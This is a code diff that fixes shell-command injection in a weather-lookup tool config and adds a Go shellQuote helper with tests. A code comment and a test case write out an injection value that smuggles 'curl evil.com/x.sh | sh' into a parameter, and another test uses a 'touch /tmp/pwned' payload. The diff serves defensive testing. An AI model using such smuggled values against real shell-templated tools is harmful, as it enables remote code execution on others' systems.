Fix shell-quote injection in the weather example, add a shellQuote template helper

examples/config.yaml

@@ -33,14 +33,15 @@ mcp:
       constraints:
         - "location.size() > 0"                                 # Location must not be empty
         - "location.size() <= 50"                               # Limit location length
+        - "!location.matches(\"[;&|`]\")"                       # Prevent shell injection
         - "format == '' || format == 'simple' || format == 'detailed'"  # Restrict format values
       run:
         timeout: "15s"
         command: |
           if [ "{{ .format }}" = "detailed" ]; then
-            curl -s --max-time 5 'https://wttr.in/{{ .location }}?format=v2'
+            curl -s --max-time 5 "https://wttr.in/"{{ .location | shellQuote }}"?format=v2"
           else
-            curl -s --max-time 5 'https://wttr.in/{{ .location }}?format=3'
+            curl -s --max-time 5 "https://wttr.in/"{{ .location | shellQuote }}"?format=3"
           fi
       output:
         prefix: |

pkg/common/templates.go

@@ -8,6 +8,25 @@ import (
 	"github.com/Masterminds/sprig/v3"
 )
 
+// shellQuote wraps s in single quotes for safe interpolation into a POSIX
+// shell command, escaping any single quotes already in s so the value
+// cannot break out of the quoting.
+//
+// sprig's own "quote"/"squote" helpers just wrap the value in quotes
+// without escaping an embedded quote character, so they are not safe for
+// this purpose: a location value like `x'; curl evil.com/x.sh | sh #`
+// would still break out of a bare `'{{ .location }}'` (or a
+// sprig-squoted one) and inject a second command. shellQuote is
+// registered under its own name precisely so it isn't confused with
+// those.
+//
+// Tool authors: prefer piping any parameter you interpolate into a shell
+// command through this function, e.g. `{{ .location | shellQuote }}`,
+// rather than wrapping it in literal quotes yourself.
+func shellQuote(s string) string {
+	return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'"
+}
+
 // ProcessTemplate processes a template with the given arguments.
 // It uses Go's template engine to substitute variables in the template.
 //
@@ -20,9 +39,11 @@ import (
 //   - An error if template processing fails
 func ProcessTemplate(text string, args map[string]interface{}) (string, error) {
 	// Create a template from the command string
+	funcs := sprig.FuncMap()
+	funcs["shellQuote"] = shellQuote
 	tmpl, err := template.New("command").
 		Option("missingkey=zero").
-		Funcs(sprig.FuncMap()).
+		Funcs(funcs).
 		Parse(text)
 	if err != nil {
 		return "", err

pkg/common/templates_test.go

@@ -0,0 +1,69 @@
+package common
+
+import (
+	"testing"
+)
+
+func TestShellQuote(t *testing.T) {
+	tests := []struct {
+		name string
+		in   string
+		want string
+	}{
+		{
+			name: "plain value",
+			in:   "London",
+			want: "'London'",
+		},
+		{
+			name: "empty value",
+			in:   "",
+			want: "''",
+		},
+		{
+			name: "value with spaces",
+			in:   "New York",
+			want: "'New York'",
+		},
+		{
+			name: "single quote injection attempt",
+			in:   "x'; curl evil.com/x.sh | sh #",
+			want: `'x'\''; curl evil.com/x.sh | sh #'`,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := shellQuote(tt.in)
+			if got != tt.want {
+				t.Errorf("shellQuote(%q) = %q, want %q", tt.in, got, tt.want)
+			}
+		})
+	}
+}
+
+// TestShellQuoteBreaksOutOfNaiveWrapping documents, via ProcessTemplate
+// itself, that a value passed through shellQuote cannot terminate the
+// quoted string it's substituted into the way a bare, un-escaped
+// substitution can.
+func TestShellQuoteBreaksOutOfNaiveWrapping(t *testing.T) {
+	malicious := "x'; touch /tmp/pwned #"
+
+	naive, err := ProcessTemplate(`echo '{{ .value }}'`, map[string]interface{}{"value": malicious})
+	if err != nil {
+		t.Fatalf("ProcessTemplate (naive) error = %v", err)
+	}
+	wantNaive := `echo 'x'; touch /tmp/pwned #'`
+	if naive != wantNaive {
+		t.Fatalf("naive template result = %q, want %q (the point of this test is that the naive form IS broken)", naive, wantNaive)
+	}
+
+	quoted, err := ProcessTemplate(`echo {{ .value | shellQuote }}`, map[string]interface{}{"value": malicious})
+	if err != nil {
+		t.Fatalf("ProcessTemplate (shellQuote) error = %v", err)
+	}
+	wantQuoted := `echo 'x'\''; touch /tmp/pwned #'`
+	if quoted != wantQuoted {
+		t.Errorf("shellQuote template result = %q, want %q", quoted, wantQuoted)
+	}
+}